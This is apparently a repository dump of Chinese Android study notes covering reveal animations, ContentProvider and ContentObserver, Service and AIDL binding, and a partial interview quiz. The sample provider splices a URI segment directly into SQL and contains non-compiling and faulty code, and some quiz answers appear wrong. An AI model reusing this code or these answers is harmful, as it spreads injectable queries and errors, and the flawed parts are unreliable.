\nanimatorScaleSet.setTarget(btnScale);  \nanimatorScaleSet.start();\n\n```\n\n`Android L`又增加了一种动画样式，叫做`Reveal Animation`。\n首先来看一下效果:    \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/reveal.gif?raw=true)    \n\n可以直接通过`ViewAnimationUtils.createCircularReveal()`方法来创建。\n\n```java\n/**\n * Returns an Animator which can animate a clipping circle.\n * <p>\n * Any shadow cast by the View will respect the circular clip from this animator.\n * <p>\n * Only a single non-rectangular clip can be applied on a View at any time.\n * Views clipped by a circular reveal animation take priority over\n * {@link View#setClipToOutline(boolean) View Outline clipping}.\n * <p>\n * Note that the animation returned here is a one-shot animation. It cannot\n * be re-used, and once started it cannot be paused or resumed. It is also\n * an asynchronous animation that automatically runs off of the UI thread.\n * As a result {@link AnimatorListener#onAnimationEnd(Animator)}\n * will occur after the animation has ended, but it may be delayed depending\n * on thread responsiveness.\n *\n * @param view The View will be clipped to the animating circle.\n * @param centerX The x coordinate of the center of the animating circle, relative to\n *                <code>view</code>.\n * @param centerY The y coordinate of the center of the animating circle, relative to\n *                <code>view</code>.\n * @param startRadius The starting radius of the animating circle.\n * @param endRadius The ending radius of the animating circle.\n */\npublic static Animator createCircularReveal(View view,\n        int centerX,  int centerY, float startRadius, float endRadius) {\n    return new RevealAnimator(view, centerX, centerY, startRadius, endRadius);\n}\n```\n\n代码如下:    \n\n```java\nvoid enterReveal() {\n    final View myView = findViewById(R.id.my_view);\n\n    int cx = myView.getMeasuredWidth() / 2;\n    int cy = myView.getMeasuredHeight() / 2;\n\n    int finalRadius = Math.max(myView.getWidth(), myView.getHeight()) / 2;\n\n    Animator anim =\n        ViewAnimationUtils.createCircularReveal(myView, cx, cy, 0, finalRadius);\n\n    anim.start();\n}\n\nvoid exitReveal() {\n    final View myView = findViewById(R.id.my_view);\n\n    int cx = myView.getMeasuredWidth() / 2;\n    int cy = myView.getMeasuredHeight() / 2;\n\n    int initialRadius = myView.getWidth() / 2;\n\n    Animator anim =\n        ViewAnimationUtils.createCircularReveal(myView, cx, cy, initialRadius, 0);\n\n    anim.addListener(new AnimatorListenerAdapter() {\n        @Override\n        public void onAnimationEnd(Animator animation) {\n            super.onAnimationEnd(animation);\n            myView.setVisibility(View.INVISIBLE);\n        }\n    });\n\n    anim.start();\n}\n\n```\n\n有关如何提高动画性能请看:[通过Hardware Layer提高动画性能](https://github.com/CharonChui/AndroidNote/blob/master/Android%E5%8A%A0%E5%BC%BA/%E9%80%9A%E8%BF%87Hardware%20Layer%E6%8F%90%E9%AB%98%E5%8A%A8%E7%94%BB%E6%80%A7%E8%83%BD.md)\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Android四大组件之ContentProvider.md",
    "content": "Android四大组件之ContentProvider\n===\n\nContentProvider    \n---\n\n安卓应用程序默认是无法获取到其他程序的数据，这是安卓安全学的基石(沙盒原理)。但是经常我们需要给其他应用分享数据，内容提供者就是一个这种可以分享数据给其他应用的接口。\n可以简单的理解为，内容提供者就是一个可以在不同应用程序间共享数据的组件，相当于一个中间人，一个程序把数据暴露给这个中间人，另一个则通过这个中间人获取相应的数据.        \n\n下面的这张图片能更直观的显示:     \n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/ContentProvider_1.png)    \n\n- `ContentProvider`中的`getContext`和`AndroidTestCast`中的`getContext`方法一样，都是一个模拟的上下文，必须在该类初始化之后才会调用`setContext`方法将`context`设置成自己的成员变量中记录，\n\t所以对于获取`getContext`的时候只能放在方法内，不能放到成员位置，因为在成员上时是null，而在方法内调用时该类就会已经初始化完了      \n\n- `ContentProvider`中的`query()`后不能关闭数据库，因为其他的应用在调用该`query`方法时需要继续使用该返回值`Cursor`，所以不能关闭数据库，因为数据库关闭之后`Cursor`就不能用了，\n\t`Cursor`中保存的数据其实是数据库的一个引用，如果数据库关了`Cursor`就不能找到里面的数据了，`Cursor.close()`只是释放`Cursor`用到的资源。说到这里就多数一句\n\t`According to Dianne Hackborn (Android framework engineer) there is no need to close the database in a content provider.`以为内容提供者是因为进程启动时便加载，之后就一直存在，当进程销毁\n\t释放资源时会去关闭数据库。\n\t\n- 如果数据是`SQLiteDatabase`，表中必须有一个`_id`的列，用来表示每条记录的唯一性。\n\n1. 继承`ContentProvider`,并实现相应的方法。\n\t```java\n\tpublic class NoteProvider extends ContentProvider {\n\t\tprivate static final int NOTES = 1;\n\t\tprivate static final int NOTE_ID = 2;\n\n\t\tpublic static final String AUTHORITY = \"com.charon.demo.provider.noteprovider\";\n\t\tpublic static final String TABLE_NAME = \"note\";\n\t\t// 定义一个名为`CONTENT_URI`必须为其指定一个唯一的字符串值，最好的方案是以类的全名称\n\t\tpublic static final Uri CONTENT_URI = Uri.parse(\"content://\" + AUTHORITY + \"/\" + TABLE_NAME);\n\n\t\t// 声明一个路径的检查者，参数为Uri不匹配时的返回值\n\t\t// 虽然是中间人，但也不能谁要数据我们都给，所以要检查下，只有符合我们要求的人，我们才会给他数据。\n\t\tprivate static UriMatcher sUriMatcher = new UriMatcher(UriMatcher.NO_MATCH);\n\n\t\tprivate NoteSQLiteOpenHelper mSQLiteOpenHelper;\n\t\tprivate SQLiteDatabase mSQLiteDatabase;\n\n\t\tstatic {\n\t\t\t// 建立匹配规则，例如发现路径为ccom.charon.demo.provider.noteprovider/note/1表示要操作note表中id为1的记录\n\t\t\tsUriMatcher.addURI(AUTHORITY, TABLE_NAME, NOTES);\n\t\t\tsUriMatcher.addURI(AUTHORITY, TABLE_NAME + \"/#\", NOTE_ID);\n\t\t}\n\n\t\t/**\n\t\t * Implement this to initialize your content provider on startup.\n\t\t * This method is called for all registered content providers on the\n\t\t * application main thread at application launch time.  It must not perform\n\t\t * lengthy operations, or application startup will be delayed.\n\t\t * <p/>\n\t\t * <p>You should defer nontrivial initialization (such as opening,\n\t\t * upgrading, and scanning databases) until the content provider is used\n\t\t * (via {@link #query}, {@link #insert}, etc).  Deferred initialization\n\t\t * keeps application startup fast, avoids unnecessary work if the provider\n\t\t * turns out not to be needed, and stops database errors (such as a full\n\t\t * disk) from halting application launch.\n\t\t * <p/>\n\t\t * <p>If you use SQLite, {@link android.database.sqlite.SQLiteOpenHelper}\n\t\t * is a helpful utility class that makes it easy to manage databases,\n\t\t * and will automatically defer opening until first use.  If you do use\n\t\t * SQLiteOpenHelper, make sure to avoid calling\n\t\t * {@link android.database.sqlite.SQLiteOpenHelper#getReadableDatabase} or\n\t\t * {@link android.database.sqlite.SQLiteOpenHelper#getWritableDatabase}\n\t\t * from this method.  (Instead, override\n\t\t * {@link android.database.sqlite.SQLiteOpenHelper#onOpen} to initialize the\n\t\t * database when it is first opened.)\n\t\t *\n\t\t * @return true if the provider was successfully loaded, false otherwise\n\t\t */\n\t\t@Override\n\t\tpublic boolean onCreate() {\n\t\t\tmSQLiteOpenHelper = new NoteSQLiteOpenHelper(getContext());\n\t\t\treturn true;\n\t\t}\n\n\t\t/**\n\t\t * 内容提供者暴露的查询的方法.\n\t\t */\n\t\t@Override\n\t\tpublic Cursor query(Uri uri, String[] projection, String selection,\n\t\t\t\t\t\t\tString[] selectionArgs, String sortOrder) {\n\t\t\tmSQLiteDatabase = mSQLiteOpenHelper.getReadableDatabase();\n\t\t\tCursor cursor;\n\t\t\t// 1.重要的事情 ,检查 uri的路径.\n\t\t\tswitch (sUriMatcher.match(uri)) {\n\t\t\t\tcase NOTES:\n\t\t\t\t\tbreak;\n\t\t\t\tcase NOTE_ID:\n\t\t\t\t\tString id = uri.getLastPathSegment();\n\t\t\t\t\tif (TextUtils.isEmpty(selection)) {\n\t\t\t\t\t\tselection = selection + \"_id = \" + id;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tselection = selection + \" and \" + \"_id = \" + id;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tthrow new IllegalArgumentException(\"UnKnown Uri\" + uri);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcursor = mSQLiteDatabase.query(TABLE_NAME, projection, selection, selectionArgs, null, null, sortOrder);\n\t\t\tif (cursor != null) {\n\t\t\t\tcursor.setNotificationUri(getContext().getContentResolver(), uri);\n\t\t\t}\n\t\t\treturn cursor;\n\t\t}\n\n\t\t/**\n\t\t * Implement this to handle requests for the MIME type of the data at the\n\t\t * given URI.  The returned MIME type should start with\n\t\t * <code>vnd.android.cursor.item</code> for a single record,\n\t\t * or <code>vnd.android.cursor.dir/</code> for multiple items.\n\t\t * This method can be called from multiple threads, as described in\n\t\t * <a href=\"{@docRoot}guide/topics/fundamentals/processes-and-threads.html#Threads\">Processes\n\t\t * and Threads</a>.\n\t\t * <p/>\n\t\t * <p>Note that there are no permissions needed for an application to\n\t\t * access this information; if your content provider requires read and/or\n\t\t * write permissions, or is not exported, all applications can still call\n\t\t * this method regardless of their access permissions.  This allows them\n\t\t * to retrieve the MIME type for a URI when dispatching intents.\n\t\t *\n\t\t * @param uri the URI to query.\n\t\t * @return a MIME type string, or {@code null} if there is no type.\n\t\t */\n\t\t@Override\n\t\tpublic String getType(Uri uri) {\n\t\t\t// 注释说的很清楚了，下面是常用的格式\n\t\t\t// 单个记录的IMEI类型 vnd.android.cursor.item/vnd.<yourcompanyname>.<contenttype>\n\t\t\t// 多个记录的IMEI类型 vnd.android.cursor.dir/vnd.<yourcompanyname>.<contenttype>\n\t\t\tswitch (sUriMatcher.match(uri)) {\n\t\t\t\tcase NOTE_ID:\n\t\t\t\t\t// 如果uri为 content://com.charon.demo.noteprovider/note/1\n\t\t\t\t\treturn \"vnd.android.cursor.item/vnd.charon.note\";\n\t\t\t\tcase NOTES:\n\t\t\t\t\treturn \"vnd.android.cursor.dir/vnd.charon.note\";\n\t\t\t\tdefault:\n\t\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\t// 这个MIME类型的作用是要匹配AndroidManifest.xml文件<activity>标签下<intent-filter>标签的子标签<data>的属性android:mimeType。\n\t\t\t// 如果不一致，则会导致对应的Activity无法启动。\n\t\t}\n\n\t\t@Override\n\t\tpublic Uri insert(Uri uri, ContentValues values) {\n\t\t\tmSQLiteDatabase = mSQLiteOpenHelper.getWritableDatabase();\n\t\t\tswitch (sUriMatcher.match(uri)) {\n\t\t\t\tcase NOTES:\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase NOTE_ID:\n\t\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\tthrow new IllegalArgumentException(\"UnKnown Uri\" + uri);\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tlong rowId = mSQLiteDatabase.insert(TABLE_NAME, null, values);\n\t\t\tif (rowId > 0) {\n\t\t\t\tUri noteUri = ContentUris.withAppendedId(CONTENT_URI, rowId);\n\t\t\t\tgetContext().getContentResolver().notifyChange(noteUri, null);\n\t\t\t\treturn noteUri;\n\t\t\t}\n\n\t\t\treturn null;\n\t\t}\n\n\t\t@Override\n\t\tpublic int delete(Uri uri, String selection, String[] selectionArgs) {\n\t\t\tmSQLiteDatabase = mSQLiteOpenHelper.getWritableDatabase();\n\t\t\tswitch (sUriMatcher.match(uri)) {\n\t\t\t\tcase NOTES:\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase NOTE_ID:\n\t\t\t\t\tString id = uri.getLastPathSegment();\n\t\t\t\t\tif (TextUtils.isEmpty(selection)) {\n\t\t\t\t\t\tselection = selection + \"_id = \" + id;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tselection = selection + \" and \" + \"_id = \" + id;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\tthrow new IllegalArgumentException(\"UnKnown Uri\" + uri);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tint count = mSQLiteDatabase.delete(TABLE_NAME, selection, selectionArgs);\n\t\t\tgetContext().getContentResolver().notifyChange(uri, null);\n\t\t\treturn count;\n\t\t}\n\n\t\t@Override\n\t\tpublic int update(Uri uri, ContentValues values, String selection,\n\t\t\t\t\t\t  String[] selectionArgs) {\n\t\t\tswitch (sUriMatcher.match(uri)) {\n\t\t\t\tcase NOTES:\n\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase NOTE_ID:\n\n\t\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\tthrow new IllegalArgumentException(\"UnKnown Uri\" + uri);\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tmSQLiteDatabase = mSQLiteOpenHelper.getWritableDatabase();\n\t\t\tint update = mSQLiteDatabase.update(TABLE_NAME, values, selection, selectionArgs);\n\t\t\treturn update;\n\t\t}\n\t```\n\n2. 在清单文件中进行注册，并且指定其authorities\n\t```xml\n\t<provider\n\t\tandroid:name=\"com.charon.demo.provider.NoteProvider\"\n\t\tandroid:authorities=\"com.charon.demo.provider.noteprovider\" >\n\t```\n\t\n3. 使用内容提供者获取数据，使用`ContentResolver`去操作`ContentProvider`, `ContentResolver`用于管理`ContentProvider`实例，\n\t并且可实现找到指定的`ContentProvider`并获取里面的数据\n\t```java\n\tpublic void query(View view){\n\t\t//得到内容提供者的解析器  中间人\n\t\tContentResolver resolver = getContentResolver();\n\t\tCursor cursor = resolver.query(NoteProvider.CONTENT_URI, null, null, null, null);\n\t\twhile(cursor.moveToNext()){\n\t\t\tString name = cursor.getString(cursor.getColumnIndex(\"name\"));\n\t\t\tint id = cursor.getInt(cursor.getColumnIndex(\"id\"));\n\t\t\tfloat money = cursor.getFloat(cursor.getColumnIndex(\"money\"));\n\t\t\tSystem.out.println(\"id=\"+id+\",name=\"+name+\",money=\"+money);\n\t\t}\n\t\tcursor.close();\n\t}\n\tpublic void insert(View view){\n\t\tContentResolver resolver = getContentResolver();\n\t\tContentValues values = new ContentValues();\n\t\tvalues.put(\"name\", \"买洗头膏\");\n\t\tvalues.put(\"money\", 22.58f);\n\t\tresolver.insert(NoteProvider.CONTENT_URI, values);\n\t}\n\tpublic void update(View view){\n\t\tContentResolver resolver = getContentResolver();\n\t\tContentValues values = new ContentValues();\n\t\tvalues.put(\"name\", \"买洗头膏\");\n\t\tvalues.put(\"money\", 42.58f);\n\t\tresolver.update(NoteProvider.CONTENT_URI, values, \"name=?\", new String[]{\"买洗头膏\"});\n\t}\n\tpublic void delete(View view){\n\t\tContentResolver resolver = getContentResolver();\n\t\tresolver.delete(NoteProvider.CONTENT_URI, \"name=?\", new String[]{\"买洗头膏\"});\n\t}\n\t```\n\n内容观察者     \n---\n\n内容观察者的原理：     \n`How a content provider actually stores its data under the covers is up to its designer. But all content providers implement a common interface for \nquerying the provider and returning results — as well as for adding, altering, and deleting data.            \nIt's an interface that clients use indirectly, most generally through ContentResolver objects. \nYou get a ContentResolver by calling getContentResolver() from within the implementation of an Activity or other application component: \nYou can then use the ContentResolver's methods to interact with whatever content providers you're interested in.`\n\n1. 一方使用内容观察者去观察变化\n\t```java\n\t\tprotected void onCreate(Bundle savedInstanceState) {\n\t\tsuper.onCreate(savedInstanceState);\n\t\tsetContentView(R.layout.activity_main);\n\t\tContentResolver resolver = getContentResolver();\n\t\tresolver.registerContentObserver(NoteProvider.CONTENT_URI, true, new NoteObserver(new Handler()));\n\n\t}\n\n\tprivate class NoteObserver extends ContentObserver {\n\n\t\tpublic NoteObserver(Handler handler) {\n\t\t\tsuper(handler);\n\t\t\t\n\t\t}\n\t\t//当观察到数据发生变化的时候  会执行onchange方法.\n\t\t@Override\n\t\tpublic void onChange(boolean selfChange) {\n\t\t\tsuper.onChange(selfChange);\n\t\t\tLog.i(TAG,\"发现有新的短信产生了...\");\n\t\t\t//1.利用内容提供者  中间人 获取用户的短信数据.\n\t\t\tContentResolver resolver  = getContentResolver();\n\t\t\t// .. 重新查询\n\t\t\tcursor = ...;\n\t\t\tcursor.close();\n\t\t}\n\t}\n\t```\n\t\n2. 一方在发生变化的时候去发送改变的消息\n\t对于一些系统的内容提供者内部都实现了该步骤，如果是自己写程序想要暴露就必须要加上该代码。     \n\t\n\t```java\t\n\tgetContext().getContentResolver().notifyChange(uri, null);\n\t```\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Android四大组件之Service.md",
    "content": "Android四大组件之Service\n===\n\n服务的两种开启方式：\n---\n\n1. `startService()`:开启服务.      \n\t开启服务后 服务就会长期的后台运行,即使调用者退出了.服务仍然在后台继续运行.服务和调用者没有什么关系, 调用者是不可以访问服务里面的方法.\n2. `bindService()`:绑定服务.           \n\t服务开启后,生命周期与调用者相关联.调用者挂了,服务也会跟着挂掉.不求同时生,但求同时死.调用者和服务绑定在一起,调用者可以间接的调用到服务里面的方法.\n\nAIDL\n---\n\n本地服务:服务代码在本应用中     \n远程服务:服务在另外一个应用里面(另外一个进程里面)      \n`aidl`: `android interface defination language`\n`IPC implementation` : `inter process communication`        \n\n服务混合调用的生命周期      \n---\n\n开启服务后再去绑定服务然后再去停止服务，这时服务是无法停止了.必须先解绑服务然后再停止服务，在实际开发中会经常采用这种模式，\n开启服务(保证服务长期后台运行) --> 绑定服务(调用服务的方法) --> 解绑服务(服务继续在后台运行) --> 停止服务(服务停止),服务只会被开启一次，\n如果已经开启后再去执行开启操作是没有效果的。    \n\n绑定服务调用方法的原理\n---\n\n1. 定义一个接口，里面定义一个方法\n\t```java\n\tpublic interface IService {\n\t\tpublic void callMethodInService();//通过该类中提供一个方法，让自定 \n\t义的类实现这个接口\n\t}\n\t```\n\t\n2. 在服务中自定义一个IBinder的实现类，让这个类继承Binder(Binder是IBinder的默认适配器)，由于这个自定义类是私有的，为了其他类中能拿到该类，\n\t我们要定义一个接口，提供一个方法，让IBinder类去实现该接口，并在相应方法中调用自己要供别人调用的方法。   \n\t```java\n\tpublic class TestService extends Service {\n\t\t@Override\n\t\tpublic IBinder onBind(Intent intent) {\n\t\t\tSystem.out.println(\"onbind\");\n\t\t\treturn new MyBinder();\n\t\t}\n\t\t\n\t\tprivate class MyBinder extends Binder implements IService{\n\t\t\tpublic void callMethodInService(){\n\t\t\t\t//实现该方法，去调用服务中的方法\n\t\t\t\tmethodInService();\n\t\t\t}\n\t\t}\n\t\t//服务中的方法\n\t\tpublic void methodInService(){\n\t\t\tToast.makeText(this, \"我是服务里面的春哥,巴拉布拉!\", 0).show();\n\t\t}\n\t}\n\t```\n\t\n3. 服务的调用类中将`onServiceConnected`方法中的第二个参数强转成接口\n\t```java\n\tpublic class DemoActivity extends Activity {\n\t\tprivate Intent intent;\n\t\tprivate Myconn conn;\n\t\tprivate IService iService;\n\t\t@Override\n\t\tpublic void onCreate(Bundle savedInstanceState) {\n\t\t\tsuper.onCreate(savedInstanceState);\n\t\t\tintent = new Intent(this,TestService.class);\n\t\t\tsetContentView(R.layout.main);\n\t\t}\n\t\tpublic void start(View view) {\n\t\t\tstartService(intent);\n\t\t}\n\t\tpublic void stop(View view) {\n\t\t\tstopService(intent);\n\t\t}\n\t\tpublic void bind(View view) {\n\t\t\tconn = new Myconn();\n\t\t\t//1.绑定服务 传递一个conn对象.这个conn就是一个回调接口\n\t\t\tbindService(intent, conn, Context.BIND_AUTO_CREATE);\n\t\t}\n\t\tpublic void unbind(View view) {\n\t\t\tunbindService(conn);\n\t\t}\n\t\t//调用服务中的方法\n\t\tpublic void call(View view){\n\t\t\tiService.callMethodInService();\n\t\t}\n\t\tprivate class Myconn implements ServiceConnection{\n\t\t\t//当服务被成功绑定的时候调用的方法.\n\t\t\t@Override\n\t\t\tpublic void onServiceConnected(ComponentName name, IBinder service) {//第二个参数就是服务中的onBind方法的返回值\n\t\t\t\tiService = (IService) service;\n\t\t\t}\n\t\t\t@Override\n\t\t\tpublic void onServiceDisconnected(ComponentName name) {\n\t\t\t}\n\t\t}\n\t} \n\t```\n\n远程服务aidl\n---\n    \n上面介绍了绑定服务调用服务中方法的原理，对于远程服务的绑定也是这样，\n但是这个远程服务是在另外一个程序中的，在另外一个程序中定 义的这个接口，\n在另外一个程序中是拿不到的，就算是我们在自己的应用 中也定义一个一模一样\n的接口，但是由于两个程序的报名不同，这两个接口也是不一样的，为了解决这个\n问题，谷歌的工程师给提供了aidl，我们将定义的这个接口的`.java`改成 `.aidl`，\n然后将这个接口中的`权限修饰符`都**去掉**，在另一个程序中拷贝这个aidl文 \n件，然后放到同一个包名中，由于`Android`中通过包名来区分应用程序，这两个 \n`aidl`的包名一样，系统会认为两个程序中的接口是同一个，这样就能够在另一\n个程序中将参数强转成这个接口,在使用`aidl`文件拷贝到自己的工程之后会自动\n生成一个接口类，这个接口类中有 一个内部类`Stub`该类继承了`Binder`并实现了\n这个接口，所以我们在自定义 `IBinder的实现类`时只需让自定义的类继承`Stub类`\n即可.\n\n1. 远程服务中定义一个接口，改成`aidl`\n\t```java\n\tpackage com.seal.test.service;\n\n\tinterface IService {\n\t\t void callMethodInService();\n\t}\n\t```\n\n2. 远程服务中定义一个`Ibinder的实现类`，让这个实现类继承上面接口的`Stub类`，\n并在`onBind`方法中返回这个自定义类对象 \n\t```java\n\tpublic class RemoteService extends Service {\n\t\t@Override\n\t\tpublic IBinder onBind(Intent intent) {\n\t\t\tSystem.out.println(\"远程服务被绑定\");\n\t\t\treturn new MyBinder();\n\t\t}\n\t\tprivate class MyBinder extends IService.Stub{\n\t\t\t@Override\n\t\t\tpublic void callMethodInService() {\n\t\t\t\tmethodInService();\n\t\t\t}\n\t\t}\n\t\tpublic void methodInService(){\n\t\t\tSystem.out.println(\"我是远程服务里面的方法\");\n\t\t}\n\t}\n\t```\n\n3. 在其他程序中想要绑定这个服务并且调用这个服务中的方法的时候首先要拷贝 \n这个`aidl`文件到自己的工程，然后再`ServiceConnection`的实现类中将这个参数使 \n用`asInterface`方法转成接口，通过这样来得到接口，从而调用接口中的方法     \n\t```java\n\tpublic class CallRemoteActivity extends Activity {\n\t\tprivate Intent service;\n\t\tprivate IService iService;\n\t\t@Override\n\t\tpublic void onCreate(Bundle savedInstanceState) {\n\t\t\tsuper.onCreate(savedInstanceState);\n\t\t\tsetContentView(R.layout.main);\n\t\t\tservice = new Intent();\n\t\t\tservice.setAction(\"com.itheima.xxxx\");\n\t\t}\n\t\tpublic void bind(View veiw){\n\t\t\tbindService(service, new MyConn(), BIND_AUTO_CREATE);\n\t\t}\n\t\tpublic void call(View view){\n\t\t\ttry {\n\t\t\t\tiService.callMethodInService();\n\t\t\t} catch (RemoteException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t\tprivate class MyConn implements ServiceConnection{\n\t\t\t@Override\n\t\t\tpublic void onServiceConnected(ComponentName name, IBinder service) {\n\t\t\t\tiService = IService.Stub.asInterface(service);\n\t\t\t}\n\t\t\t@Override\n\t\t\tpublic void onServiceDisconnected(ComponentName name) {\n\t\t\t\t// TODO Auto-generated method stub\n\t\t\t}\n\t\t}\n\t}\n\t```\n\n最后说一下`IntentService`:\n\n`IntentService`是`Service`的子类，用来处理异步请求。客户端可以通过`startService(Intent)`方法将请求的`Intent`传递请求给`IntentService`，\n`IntentService`会将该`Intent`加入到队列中，然后对每一个`Intent`开启一个`worker thread`来进行处理，执行完所有的工作之后自动停止`Service`。\n每一个请求都会在一个单独的`worker thread`中处理，不会阻塞应用程序的主线程。`IntentService` 实际上是`Looper`、`Handler`、`Service` 的集合体,\n他不仅有服务的功能,还有处理和循环消息的功能.\n\n- Service：    \n    1. A Service is not a separate process. The Service object itself does not imply it is running in its own process; unless otherwise specified, \n\t\tit runs in the same process as the application it is part of.\n    2. A Service is not a thread. It is not a means itself to do work off of the main thread (to avoid Application Not Responding errors).\n所以在`Service`中进行耗时的操作时必须要新开一个线程。    \n\n至于为什么要使用`Service`而不是`Thread`，这个主要的区别就是生命周期不同，`Service`是Android系统的一个组件，Android系统会尽量保持`Service`的长期后台运行，\n即使内存不足杀死了该服务(很少会出现内存不足杀死服务的情况)也会在内存可用的时候去复活该服务，而`Thread`随后都会被杀死\n- IntentService\n    1. IntentService is a base class for Services that handle asynchronous requests (expressed as Intents) on demand. \n\t\tClients send requests throughstartService(Intent) calls; \n\t    the service is started as needed, handles each Intent in turn using a worker thread, and stops itself when it runs out of work.    \n    2. This \"work queue processor\" pattern is commonly used to offload tasks from an application's main thread. \n\t\tThe IntentService class exists to simplify this pattern and take care of the mechanics. \n\t    To use it, extend IntentService and implement onHandleIntent(Intent). IntentService will receive the Intents, launch a worker thread, \n\t\tand stop the service as appropriate.\n    3. All requests are handled on a single worker thread -- they may take as long as necessary (and will not block the application's main loop), \n\t\tbut only one request will be processed at a time.\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Android基础面试题.md",
    "content": "Android基础面试题\n===\n\n没有删这套题，虽然都是网上找的，在刚开始找工作的时候这套题帮了我很多，那时候`Android`刚起步，很多家都是这一套面试题，我都是直接去了不看题画画一顿就写完了，哈哈\n现在估计没有公司会用这种笔试题了。还是留下来吧，回忆一下。\n\n1. 下列哪些语句关于内存回收的说明是正确的? (b)          \n  A、 程序员必须创建一个线程来释放内存      \n  B、 内存回收程序负责释放无用内存     \n  C、 内存回收程序允许程序员直接释放内存      \n  D、 内存回收程序可以在指定的时间释放内存对象      \n2. 下面异常是属于Runtime Exception 的是（abcd）(多选)             \n      A、ArithmeticException          \n      B、IllegalArgumentException       \n      C、NullPointerException         \n      D、BufferUnderflowException        \n3. Math.round(11.5)等于多少(). Math.round(-11.5)等于多少(c)           \n    A、11 ,-11   B、11 ,-12   C、12 ,-11   D、12 ,-12 \n4. 下列程序段的输出结果是：(b)              \n    ```java\n     void complicatedexpression_r(){\n     int x=20, y=30;\n     boolean b;\n     b=x>50&&y>60||x>50&&y<-60||x<-50&&y>60||x<-50&&y<-60;\n     System.out.println(b);\n     }\n\t ```\n     A、true  B、false  C、1  D、011.activity\n5. 对一些资源以及状态的操作保存，最好是保存在生命周期的哪个函数中进行(d)     \n   A、onPause()  B、onCreate()   C、 onResume()   D、onStart()  \n6. Intent传递数据时，下列的数据类型哪些可以被传递（abcd）(多选)            \n   A、Serializable  B、charsequence  C、Parcelable  D、Bundle\n7. android 中下列属于Intent的作用的是(c)     \n  A、实现应用程序间的数据共享      \n  B、是一段长的生命周期，没有用户界面的程序，可以保持应用在后台运行，而不会因为切换页面而消失         \n  C、可以实现界面间的切换，可以包含动作和动作数据，连接四大组件的纽带       \n  D、处理一个应用程序整体性的工作     \n8. 下列属于SAX解析xml文件的优点的是(b)          \n    A、将整个文档树在内存中，便于操作，支持删除，修改，重新排列等多种功能        \n    B、不用事先调入整个文档，占用资源少          \n    C、整个文档调入内存，浪费时间和空间           \n    D、不是长久驻留在内存，数据不是持久的，事件过后，若没有保存数据，数据就会消失           \n9. 下面的对自定style的方式正确的是(a)     \n    A、           \n\t```xml\n\t<resources>\n\t\t<style name=\"myStyle\">\n\t\t\t<item name=\"android:layout_width\">fill_parent</item>\n\t\t</style>\n\t</resources>\n\t```                \n     B、              \n\t ```xml\n\t<style name=\"myStyle\">\n\t\t\t\t<item name=\"android:layout_width\">fill_parent</item>\n\t</style>\n\t```          \n     C、               \n\t```xml \n\t<resources>\n\t\t<item name=\"android:layout_width\">fill_parent</item>\n\t</resources>\n\t```        \n     D、       \n\t ```xml\n\t<resources>\n\t\t<style name=\"android:layout_width\">fill_parent</style>\n\t</resources>\n\t```\n10. 在android中使用Menu时可能需要重写的方法有（ac）。(多选)                \n\tA、onCreateOptionsMenu()        \n\tB、onCreateMenu()      \n\tC、onOptionsItemSelected()    \n\tD、onItemSelected()       \n11. 在SQL Server Management Studio 中运行下列T-SQL语句，其输出值（c）               \n\t`SELECT @@IDENTITY`      \n\tA、\t可能为0.1        \n\tB、\t可能为3       \n\tC、 不可能为-100   \n\tD、\t肯定为0    \n12. 在SQL Server 2005中运行如下T-SQL语句，假定SALES表中有多行数据，执行查询之后的结果是（d）。                               \n\t```\n\tBEGIN TRANSACTION A\n \tUpdate SALES Set qty=30 WHERE qty<30\n\tBEGIN TRANSACTION B\n\t\tUpdate SALES Set qty=40 WHERE qty<40\n\t\tUpdate SALES Set qty=50 WHERE qty<50\n\t\tUpdate SALES Set qty=60 WHERE qty<60\n\tCOMMIT　TRANSACTION B\n\tCOMMIT TRANSACTION A\n\t ```              \n\tA、SALES表中qty列最小值大于等于30        \n\tB、SALES表中qty列最小值大于等于40       \n\tC、SALES表中qty列的数据全部为50     \n\tD、SALES表中qty列最小值大于等于60     \n13. 在android中使用SQLiteOpenHelper这个辅助类时，可以生成一个数据库，并可以对数据库版本进行管理的方法可以是(ab)           \n\tA、getWriteableDatabase()        \n\tB、getReadableDatabase()        \n\tC、getDatabase()        \n\tD、getAbleDatabase()        \n14.\tandroid 关于service生命周期的onCreate()和onStart()说法正确的是(ad)(多选题)             \n\tA、当第一次启动的时候先后调用onCreate()和onStart()方法         \n\tB、当第一次启动的时候只会调用onCreate()方法               \n\tC、如果service已经启动，将先后调用onCreate()和onStart()方法         \n\tD、如果service已经启动，只会执行onStart()方法，不在执行onCreate()方法        \n15. 下面是属于GLSurFaceView特性的是(abc)(多选)         \n\tA、管理一个surface，这个surface就是一块特殊的内存，能直接排版到android的视图view上。            \n\tB、管理一个EGL display，它能让opengl把内容渲染到上述的surface上。           \n\tC、让渲染器在独立的线程里运作，和UI线程分离。        \n\tD、可以直接从内存或者DMA等硬件接口取得图像数据          \n16. 下面在AndroidManifest.xml文件中注册BroadcastReceiver方式正确的(a)            \n  \tA、        \n\t```xml\n\t<receiver android:name=\"NewBroad\">\n\t\t<intent-filter>\n\t\t\t<action  \n\t\t\t   